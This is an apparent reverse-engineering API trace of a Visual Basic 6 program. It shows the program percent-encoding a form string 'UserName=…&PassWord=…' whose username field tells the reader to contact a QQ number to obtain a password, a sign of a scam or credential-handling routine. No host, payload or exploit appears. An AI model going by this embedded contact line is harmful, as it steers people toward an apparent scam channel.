__vbaVarCat返回值: 0x0012F6E4 (vb字符串:"UserName=%BB%F1%C8")
返回地址: 004061B5 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6D4
Var2=0x0012F694 (vb字符串:"%")
Var3=0x0012F6E4 (vb字符串:"UserName=%BB%F1%C8")
__vbaVarCat返回值: 0x0012F6D4 (vb字符串:"UserName=%BB%F1%C8%")
返回地址: 004061C6 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6B4
Var2=0x0012F6C4 (vb字符串:"A1")
Var3=0x0012F6D4 (vb字符串:"UserName=%BB%F1%C8%")
__vbaVarCat返回值: 0x0012F6B4 (vb字符串:"UserName=%BB%F1%C8%A1")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:12)
__vbaI4Var返回值: 0x0000000C(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x0000000C
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"密")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"密")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"密")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x0000C3DC (0xDC)
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0xFFFF3C24
返回地址: 00406028 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"密")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"密")
返回地址: 0040602F 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x0000C3DC (0xDC)
返回地址: 0040607A 函数名称: __vbaVarTstLt(MSVBVM60.DLL)
__vbaVarTstLt: 变量2是否小于变量1
Var1=0x0012F6A4 (vb整型:0)
Var2=0x0012F748 (vb整型:50140)
__vbaVarTstLt返回值: 0xFFFFFFFF(NULL表示不小于)
返回地址: 004060AB 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F704
Var1=0x0012F6A4 (vb长整型:65536)
Var2=0x0012F748 (vb整型:50140)
__vbaVarAdd返回值: 0x0012F704 (vb长整型:50140)
返回地址: 004060EC 函数名称: __vbaVarAnd(MSVBVM60.DLL)
__vbaVarAnd: and运算
RetBuffer=0x0012F704
Var1=0x0012F6A4
Var2=0x0012F748
__vbaVarAnd返回值: 0x0012F704 (vb长整型:49920)
返回地址: 00406101 函数名称: __vbaVarIdiv(MSVBVM60.DLL)
__vbaVarIdiv: 除法运算
RetBuffer=0x0012F6F4
Var1=0x0012F694 (vb整型:255)
Var2=0x0012F704 (vb长整型:49920)
__vbaVarIdiv返回值: 0x0012F6F4 (vb长整型:195)
返回地址: 00406130 函数名称: __vbaVarAnd(MSVBVM60.DLL)
__vbaVarAnd: and运算
RetBuffer=0x0012F704
Var1=0x0012F6A4
Var2=0x0012F748
__vbaVarAnd返回值: 0x0012F704 (vb长整型:220)
返回地址: 0040615E 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F6F4
rtcHexVarFromVar返回值: 0x0012F6F4 (vb字符串:"C3")
返回地址: 0040617F 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F6C4
rtcHexVarFromVar返回值: 0x0012F6C4 (vb字符串:"DC")
返回地址: 00406193 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F6A4 (vb字符串:"%")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%")
返回地址: 004061A4 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6E4
Var2=0x0012F6F4 (vb字符串:"C3")
Var3=0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%")
__vbaVarCat返回值: 0x0012F6E4 (vb字符串:"UserName=%BB%F1%C8%A1%C3")
返回地址: 004061B5 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6D4
Var2=0x0012F694 (vb字符串:"%")
Var3=0x0012F6E4 (vb字符串:"UserName=%BB%F1%C8%A1%C3")
__vbaVarCat返回值: 0x0012F6D4 (vb字符串:"UserName=%BB%F1%C8%A1%C3%")
返回地址: 004061C6 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6B4
Var2=0x0012F6C4 (vb字符串:"DC")
Var3=0x0012F6D4 (vb字符串:"UserName=%BB%F1%C8%A1%C3%")
__vbaVarCat返回值: 0x0012F6B4 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:13)
__vbaI4Var返回值: 0x0000000D(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x0000000D
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"码")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"码")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"码")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x0000C2EB (0xEB)
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0xFFFF3D15
返回地址: 00406028 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"码")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"码")
返回地址: 0040602F 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x0000C2EB (0xEB)
返回地址: 0040607A 函数名称: __vbaVarTstLt(MSVBVM60.DLL)
__vbaVarTstLt: 变量2是否小于变量1
Var1=0x0012F6A4 (vb整型:0)
Var2=0x0012F748 (vb整型:49899)
__vbaVarTstLt返回值: 0xFFFFFFFF(NULL表示不小于)
返回地址: 004060AB 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F704
Var1=0x0012F6A4 (vb长整型:65536)
Var2=0x0012F748 (vb整型:49899)
__vbaVarAdd返回值: 0x0012F704 (vb长整型:49899)
返回地址: 004060EC 函数名称: __vbaVarAnd(MSVBVM60.DLL)
__vbaVarAnd: and运算
RetBuffer=0x0012F704
Var1=0x0012F6A4
Var2=0x0012F748
__vbaVarAnd返回值: 0x0012F704 (vb长整型:49664)
返回地址: 00406101 函数名称: __vbaVarIdiv(MSVBVM60.DLL)
__vbaVarIdiv: 除法运算
RetBuffer=0x0012F6F4
Var1=0x0012F694 (vb整型:255)
Var2=0x0012F704 (vb长整型:49664)
__vbaVarIdiv返回值: 0x0012F6F4 (vb长整型:194)
返回地址: 00406130 函数名称: __vbaVarAnd(MSVBVM60.DLL)
__vbaVarAnd: and运算
RetBuffer=0x0012F704
Var1=0x0012F6A4
Var2=0x0012F748
__vbaVarAnd返回值: 0x0012F704 (vb长整型:235)
返回地址: 0040615E 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F6F4
rtcHexVarFromVar返回值: 0x0012F6F4 (vb字符串:"C2")
返回地址: 0040617F 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F6C4
rtcHexVarFromVar返回值: 0x0012F6C4 (vb字符串:"EB")
返回地址: 00406193 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F6A4 (vb字符串:"%")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%")
返回地址: 004061A4 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6E4
Var2=0x0012F6F4 (vb字符串:"C2")
Var3=0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%")
__vbaVarCat返回值: 0x0012F6E4 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2")
返回地址: 004061B5 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6D4
Var2=0x0012F694 (vb字符串:"%")
Var3=0x0012F6E4 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2")
__vbaVarCat返回值: 0x0012F6D4 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%")
返回地址: 004061C6 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6B4
Var2=0x0012F6C4 (vb字符串:"EB")
Var3=0x0012F6D4 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%")
__vbaVarCat返回值: 0x0012F6B4 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:14)
__vbaI4Var返回值: 0x0000000E(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x0000000E
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"加")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"加")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"加")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x0000BCD3 (0xD3)
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0xFFFF432D
返回地址: 00406028 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"加")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"加")
返回地址: 0040602F 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x0000BCD3 (0xD3)
返回地址: 0040607A 函数名称: __vbaVarTstLt(MSVBVM60.DLL)
__vbaVarTstLt: 变量2是否小于变量1
Var1=0x0012F6A4 (vb整型:0)
Var2=0x0012F748 (vb整型:48339)
__vbaVarTstLt返回值: 0xFFFFFFFF(NULL表示不小于)
返回地址: 004060AB 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F704
Var1=0x0012F6A4 (vb长整型:65536)
Var2=0x0012F748 (vb整型:48339)
__vbaVarAdd返回值: 0x0012F704 (vb长整型:48339)
返回地址: 004060EC 函数名称: __vbaVarAnd(MSVBVM60.DLL)
__vbaVarAnd: and运算
RetBuffer=0x0012F704
Var1=0x0012F6A4
Var2=0x0012F748
__vbaVarAnd返回值: 0x0012F704 (vb长整型:48128)
返回地址: 00406101 函数名称: __vbaVarIdiv(MSVBVM60.DLL)
__vbaVarIdiv: 除法运算
RetBuffer=0x0012F6F4
Var1=0x0012F694 (vb整型:255)
Var2=0x0012F704 (vb长整型:48128)
__vbaVarIdiv返回值: 0x0012F6F4 (vb长整型:188)
返回地址: 00406130 函数名称: __vbaVarAnd(MSVBVM60.DLL)
__vbaVarAnd: and运算
RetBuffer=0x0012F704
Var1=0x0012F6A4
Var2=0x0012F748
__vbaVarAnd返回值: 0x0012F704 (vb长整型:211)
返回地址: 0040615E 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F6F4
rtcHexVarFromVar返回值: 0x0012F6F4 (vb字符串:"BC")
返回地址: 0040617F 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F6C4
rtcHexVarFromVar返回值: 0x0012F6C4 (vb字符串:"D3")
返回地址: 00406193 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F6A4 (vb字符串:"%")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%")
返回地址: 004061A4 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6E4
Var2=0x0012F6F4 (vb字符串:"BC")
Var3=0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%")
__vbaVarCat返回值: 0x0012F6E4 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC")
返回地址: 004061B5 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6D4
Var2=0x0012F694 (vb字符串:"%")
Var3=0x0012F6E4 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC")
__vbaVarCat返回值: 0x0012F6D4 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%")
返回地址: 004061C6 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6B4
Var2=0x0012F6C4 (vb字符串:"D3")
Var3=0x0012F6D4 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%")
__vbaVarCat返回值: 0x0012F6B4 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:15)
__vbaI4Var返回值: 0x0000000F(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x0000000F
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"Q")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"Q")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"Q")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x00000051 ( 'Q' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000051
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"Q")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3Q")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:16)
__vbaI4Var返回值: 0x00000010(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000010
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"Q")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"Q")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"Q")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000051 ( 'Q' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000051
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"Q")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3Q")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:17)
__vbaI4Var返回值: 0x00000011(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000011
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"2")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"2")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"2")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x00000032 ( '2' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000032
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"2")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:18)
__vbaI4Var返回值: 0x00000012(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000012
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"0")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"0")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"0")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000030 ( '0' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000030
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"0")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ20")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:19)
__vbaI4Var返回值: 0x00000013(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000013
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"4")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"4")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"4")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x00000034 ( '4' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000034
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"4")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ20")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ204")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:20)
__vbaI4Var返回值: 0x00000014(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000014
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"9")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"9")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"9")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000039 ( '9' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000039
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"9")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ204")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:21)
__vbaI4Var返回值: 0x00000015(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000015
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"8")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"8")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"8")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x00000038 ( '8' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000038
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"8")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ20498")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:22)
__vbaI4Var返回值: 0x00000016(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000016
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"2")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"2")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"2")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000032 ( '2' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000032
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"2")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ20498")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ204982")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:23)
__vbaI4Var返回值: 0x00000017(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000017
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"6")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"6")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"6")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x00000036 ( '6' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
